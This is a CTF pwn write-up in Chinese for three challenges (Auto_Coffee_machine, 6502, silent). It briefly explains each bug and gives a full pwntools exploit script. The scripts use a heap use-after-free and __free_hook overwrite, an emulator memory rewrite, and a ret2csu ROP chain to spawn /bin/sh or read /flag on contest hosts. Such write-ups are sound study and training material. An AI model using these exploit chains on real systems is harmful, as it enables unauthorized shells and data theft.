# 1.Pwn-Auto_Coffee_machine
# 1. 查看程序
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
没有开启 pie
想要进入 admin 里要输入一个密码,我们输入的密码会被加密一下:
所以我们要输入 lwuv"ryp"kv
字符串每个 ASCII码减-2
(最后输入的是 just pwn it
)然后就可以进入 admin
在 admin 内有两个函数 replenish()
和 change_default()
主要漏洞存在于进入 admin 模式的 change_default
函数,replenish 函数是有对 left_coffee 进行复制的:
copy_left_coffee
没有对 left_coffee
进行复制,导致存在 UAF
漏洞:
所以思路是先通过 sell 两个 id 1 的 coffee
,然后通过 change_default
修改释放的 chunk 的 fd 指针指向 copy_left_coffee
,但是这里会执行 update(2)
,即 copy_left_coffee
没有空的地方,导致无法直接执行 replenish 申请到 copy_left_coffee
附近的 chunk
。所以直接 sell
7 个 id 2 的 coffee,再执行 replenish
申请 7 个 id 2 的 coffee,第 7 个 chunk
就是 copy_left_coffee
附近的 chunk。接下来通过 change 修改 copy_left_coffee 里的一个指针指向 coffee_list
,修改其值为 free_got
,通过 show_list
就可以泄露 libc 地址,在通过 change 修改 free_hook
为 system,并写入一个 chunk “/bin/sh”
字符串,sell 该 chunk
即可获取 shell。
from pwn import* | |
#context.log_level = 'debug' | |
o= remote("172.10.0.9",8888) | |
libc = ELF("./libc-2.31.so") | |
def sell(id1): | |
o.sendlineafter(b">>>", b'1') | |
o.sendlineafter(b"input the id of what coffee you want to buy\n", str(id1)) | |
o.sendlineafter(b"Do you want to add something?Y/N\n", b'N') | |
def show_list(): | |
o.sendlineafter(b">>>", b'2') | |
def admin(): | |
o.sendlineafter(b">>>", b'4421') | |
o.sendlineafter(b"please input the admin password\n", b"just pwn it") | |
def repl(id1): | |
o.sendlineafter(b">>>", b'1') | |
o.sendlineafter(b">>>", str(id1).encode()) | |
def change(id1, index, content): | |
o.sendlineafter(b">>>", b'2') | |
o.sendlineafter(b">>>", str(id1).encode()) | |
o.sendlineafter(b">>>", str(index).encode()) | |
o.sendafter(b"input your content\n", content) | |
def back(): | |
o.sendlineafter(b">>>", b'3') | |
sell(1) | |
sell(1) | |
admin() | |
change(1, 2, p64(0x4063C0)) | |
back() | |
for i in range(7): | |
sell(2) | |
admin() | |
for i in range(7): | |
repl(2) | |
change(2, 7, p64(0x4062F0)) | |
change(1, 1, p64(0x406018)) | |
back() | |
show_list() | |
o.recvuntil(b'1.') | |
free_addr = u64(o.recv(6)+b"\x00\x00") | |
log.info(hex(free_addr)) | |
libc_base = free_addr - libc.sym['free'] | |
log.info(hex(libc_base)) | |
sys_addr = libc_base + libc.sym['system'] | |
free_hook = libc_base + libc.sym['__free_hook'] | |
admin() | |
change(2, 7, p64(free_hook)) | |
change(1, 1, p64(sys_addr)) | |
change(2, 1, b"/bin/sh") | |
back() | |
sell(2) | |
o.interactive() |
# 2.6502
from pwn import * | |
#p=process("./6502_proccessor") | |
context(os='linux', arch='amd64', log_level='debug') | |
p = remote('172.10.0.7', 10002) | |
libc = ELF('./libc.so.6') | |
context(os='linux', arch='amd64', log_level='debug') | |
system_addr = libc.sym['system'] | |
puts_addr = libc.sym['puts'] | |
log.info("system:"+hex(system_addr)) | |
log.info("puts:"+hex(puts_addr)) | |
offset= p64((puts_addr - system_addr)) | |
log.info(offset) | |
lda = 0xAD | |
adc = 0x69 | |
sta = 0x8D | |
borrow = [1,1] # 01 10 11 | |
li = [p8(lda), p16((-8462)&0xFFFF),p8(adc), p8((-offset[0])&0xFF),p8(sta), p16((-8462)&0xFFFF), | |
p8(lda), p16((-8462+1)&0xFFFF),p8(adc), p8((-offset[1]-borrow[1])&0xFF),p8(sta), p16((-8462+1)&0xFFFF), | |
p8(lda), p16((-8462+2)&0xFFFF),p8(adc), p8((-offset[2]-borrow[0])&0xFF),p8(sta), p16((-8462+2)&0xFFFF),] | |
# gdb.attach(p) | |
# pause() | |
payload = b''.join(li) | |
p.sendlineafter('code length: \n', str(len(payload)).encode()) | |
# gdb.attach(p) | |
# pause() | |
p.sendafter('code: \n', payload) | |
# gdb.attach(p) | |
# pause() | |
p.sendline('/bin/sh\x00') | |
p.interactive() |
# 3.Pwn-silent
没有开 canary,意味着可以进行栈溢出
ida 查看,发现 read 函数能导致溢出
这里开启了沙盒:
没有限制执行 orw 的系统调用,所以利用 orw 获得 flag
from pwn import * | |
from LibcSearcher import * | |
context(os='linux', arch='amd64', log_level='debug') | |
p = remote('172.10.0.8', '9999') | |
#p = process('./silent') | |
libc = ELF('./libc-2.27.so') | |
context.binary = './silent' | |
binary = context.binary | |
rop = ROP([binary]) | |
stdout = binary.sym['stdout'] | |
io_stdout= libc.sym['_IO_2_1_stdout_'] | |
def csu(sys, a=0, b=0, c=0): | |
global io_stdout | |
offset = libc.sym[sys]-io_stdout | |
io_stdout = libc.sym[sys] | |
rop.ret2csu(edi=0, rsi=1, rdx=2, rbp=stdout+0x3d, rbx=offset) | |
rop.call(0x4007E8)# add [rbp-0x3d], ebx | |
rop.ret2csu(call=stdout, edi=a, rsi=b, rdx=c) | |
# gdb.attach(p) | |
# pause() | |
rop.raw(b'1'*64+p64(0)) | |
# read 0x1000 | |
rop.ret2csu(edi=0, rsi=0x601300, rdx=0x1000, call=0x600FE0) | |
# rop.call(0x400700) | |
rop.migrate(0x601340) | |
payload = rop.chain() | |
print(hex(len(payload))) | |
p.send(payload) | |
# gdb.attach(p) | |
# pause() | |
rop = ROP([binary]) | |
rop.raw(b'/flag'.ljust(0x40, b'\00')) | |
csu('open', 0x601300) | |
csu('read', 3, 0x602000, 100) | |
csu('puts', 0x602000) | |
csu('exit', 0) | |
p.send(rop.chain()) | |
p.interactive() |